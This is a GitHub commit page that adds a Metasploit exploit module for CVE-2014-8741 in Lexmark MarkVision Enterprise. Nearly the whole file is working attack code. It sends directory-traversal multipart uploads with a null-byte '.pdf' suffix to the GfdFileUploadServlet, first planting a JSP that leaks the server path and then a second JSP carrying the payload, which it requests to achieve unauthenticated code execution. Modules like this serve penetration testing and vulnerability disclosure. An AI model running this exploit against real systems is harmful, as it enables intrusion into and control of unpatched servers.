Skip to content

Commit 7876401

Browse files
committed
Land rapid7#4476 - Lexmark MarkVision Enterprise Arbitrary File Upload
2 parents c8f5026 + d2af956 commit 7876401

File tree

1 file changed

+155
-0
lines changed

1 file changed

+155
-0
lines changed
Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
17+
'Description' => %q{
18+
This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
19+
A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
20+
attacker to upload arbitrary files, including arbitrary JSP code. This module has been
21+
tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
22+
},
23+
'Author' =>
24+
[
25+
'Andrea Micalizzi', # Vulnerability Discovery
26+
'juan vazquez' # Metasploit module
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
['CVE', '2014-8741'],
32+
['ZDI', '14-410'],
33+
['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US']
34+
],
35+
'Privileged' => true,
36+
'Platform' => 'win',
37+
'Arch' => ARCH_JAVA,
38+
'Targets' =>
39+
[
40+
[ 'Lexmark Markvision Enterprise 2.0', { } ]
41+
],
42+
'DefaultTarget' => 0,
43+
'DisclosureDate' => 'Dec 09 2014'))
44+
45+
register_options(
46+
[
47+
Opt::RPORT(9788),
48+
OptString.new('TARGETURI', [true, 'ROOT path', '/'])
49+
], self.class)
50+
end
51+
52+
def check
53+
res = send_request_cgi({
54+
'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html')
55+
})
56+
57+
version = nil
58+
if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/
59+
version = $1
60+
else
61+
return Exploit::CheckCode::Unknown
62+
end
63+
64+
if Gem::Version.new(version) <= Gem::Version.new('2.0.0')
65+
return Exploit::CheckCode::Appears
66+
end
67+
68+
Exploit::CheckCode::Safe
69+
end
70+
71+
def exploit
72+
jsp_leak = jsp_path
73+
jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
74+
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
75+
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
76+
traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"
77+
78+
print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
79+
if upload_file(traversal_leak, jsp_leak)
80+
print_good("#{peer} - JSP successfully uploaded")
81+
else
82+
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
83+
end
84+
85+
res = execute(jsp_name_leak)
86+
87+
if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/
88+
upload_path = $1
89+
print_good("#{peer} - Working directory found in #{upload_path}")
90+
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak))
91+
else
92+
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
93+
end
94+
95+
jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
96+
jsp_payload = payload.encoded
97+
traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"
98+
99+
print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...")
100+
if upload_file(traversal_payload, jsp_payload)
101+
print_good("#{peer} - JSP successfully uploaded")
102+
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path
103+
else
104+
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
105+
end
106+
107+
print_status("#{peer} - Executing payload...")
108+
execute(jsp_payload_name, 3)
109+
end
110+
111+
def upload_file(filename, contents)
112+
good_signature = rand_text_alpha(4 + rand(4))
113+
bad_signature = rand_text_alpha(4 + rand(4))
114+
115+
post_data = Rex::MIME::Message.new
116+
post_data.add_part(good_signature, nil, nil, 'form-data; name="success"')
117+
post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"')
118+
post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
119+
120+
res = send_request_cgi(
121+
{
122+
'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'),
123+
'method' => 'POST',
124+
'data' => post_data.to_s,
125+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
126+
})
127+
128+
if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature)
129+
return true
130+
else
131+
return false
132+
end
133+
end
134+
135+
def execute(jsp_name, time_out = 20)
136+
res = send_request_cgi({
137+
'uri' => normalize_uri(target_uri.path.to_s, jsp_name),
138+
'method' => 'GET'
139+
}, time_out)
140+
141+
res
142+
end
143+
144+
def jsp_path
145+
jsp =<<-EOS
146+
<%@ page language="Java" import="java.util.*"%>
147+
<%
148+
out.println("Path:" + System.getProperty("catalina.home"));
149+
%>
150+
EOS
151+
152+
jsp
153+
end
154+
155+
end

0 commit comments

Comments
 (0)